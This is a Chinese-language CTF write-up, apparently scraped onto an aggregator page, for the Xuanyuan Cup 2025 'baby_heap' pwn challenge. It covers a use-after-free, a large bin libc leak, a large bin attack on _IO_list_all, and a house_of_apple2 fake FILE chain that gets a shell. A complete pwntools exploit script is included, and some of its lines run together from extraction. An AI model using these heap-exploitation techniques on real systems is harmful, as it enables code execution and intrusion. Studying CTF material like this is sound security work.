当前位置: 首页 > news >正文

轩辕杯2025 Pwn baby_heap WP(house_of_apple2)

checksec:

保护全开 64位

IDA64打开 整理函数

add:

最多能申请17个chunk,只能申请0x410以上大小的chunk,也就是只能申请large bin对应的chunk

edit:

正常的编辑

delete:

存在UAF漏洞,且只能free两次

show:

正常展示出内容

发现只能申请large chunk,,存在UAF漏洞,所以先利用Large bin泄露libc基址:

add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)
add(4, 0x500)
show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21b0e0
print(hex(libc_base))

因为有UAF 泄露基址相对容易

接下来利用Large bin attack把IO_list_all地址改为堆地址

IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

把chunk1的bk_nextsize编辑为_IO_list_all-0x20,其他不变

chunk3比chunk1要小,插入时不会检查bk_nextsize 从而能够覆盖目标地址

可以看到,_IO_list_all的位置成功指向的chunk3的地址

再下一步,就是泄露堆地址并利用house of apple2打

show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

设置的FILE结构体检查要求:

_IO_write_ptr > _IO_write_base 1 > 0

_IO_buf_base置为0

fileno为有效数字,这里设置为2:标准错误流(只要是有效的fileno就可以)

_old_offset&_offset=-1:表示无有效偏移量

_IO_wide_data:指向Fake_Fake_IO_wide_data的地址(伪造的),这里需要用调试得出

fake vtable:指向_IO_wfile_jumps_addr 虚函数表 house of apple的控制程序流套路

Fake_Fake_IO_wide_data:伪造的_IO_wide_data,在偏移0xe0位写入Fake_wide_vtable所在地址

Fake_wide_vtable:伪造的_IO_jump_t ,其中偏移为0x68的位置为__doallocate  将其改写为system函数

再把Fake_wide_vtable对应的堆填满直到相邻堆的size位,将其修改为'  sh'(对应fake_file的flag位),这也是为什么chunk2要设置成0x458,是为了将下一个chunk的size位修改了

最后再调用exit()就能get shell

总exp:

from pwn import *context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def add(index, size):p.sendlineafter(b"choice:\n", b'1')p.sendlineafter(b'index:\n', str(index))p.sendlineafter(b'size:\n' , str(size))def delete(index):p.sendlineafter(b'choice:\n' , b'2')p.sendlineafter(b'index:\n' , str(index))def edit(index,message):p.sendlineafter(b'choice:\n' , b'3')p.sendlineafter(b'index:\n' , str(index))p.sendlineafter(b'content:\n' , message)def show(index):p.sendlineafter(b'choice:\n' , b'4')p.sendlineafter(b'index:\n' , str(index))gdb.attach(p)add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
print(hex(libc_base))
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)p.sendlineafter(b"choice:\n", str(5)) #exit(0)
p.interactive()

http://www.dtcms.com/a/292972.html

相关文章:

  • FFMPEG 解码流程 硬解码
  • 从零构建实时通信引擎:Freeswitch源码编译与深度优化指南
  • netty的编解码器,以及内置的编解码器
  • Linux系统权限全面解析:掌握你的数字王国钥匙
  • Python 链接各种中间件[Mysql\redis\mssql\tdengine]
  • 数据结构01:链表
  • FashionAI / 智尚衣橱 / TryFit / 智能时尚搭配平台
  • 面试150 N皇后Ⅱ
  • Docker环境搭建RabbitMq集群详解
  • 【CAN】2.帧格式
  • ReasonFlux:基于思维模板与分层强化学习的高效推理新范式
  • Python接口自动化实战 ( 第一阶段) - 封装接口请求类和异常处理
  • Ubuntu 虚拟机配置 与Windows互传文件
  • react19相关问题和解答
  • 【技术新闻】OpenAI发布GPT-5,AI编程助手迎来革命性突破
  • React集成百度【BMap Draw】教程(001):实现距离测量和面积测量
  • dubbo源码分析之请求调用异步化原理
  • Pandas核心数据结构详解
  • 第3章通用的服务可用性治理手段——3.2 重试
  • Kotlin 作用域函数 let 的实现原理
  • 大疆视觉算法面试30问全景精解
  • 基于Java+MySQL实现(Web)文件共享管理系统(仿照百度文库)
  • Java自动拆箱机制
  • 云祺容灾备份系统阿里云对象存储备份与恢复实操手册
  • List<UserInfo> list = new ArrayList<>();为什么要这样创建数组?
  • 智能文本抽取在法院卷宗管理应用剖析
  • 力扣-139.单词拆分
  • Qt 网络编程如何采用Http进行通信
  • 碳化硅缺陷分类与原因
  • C++的lambda表达式原理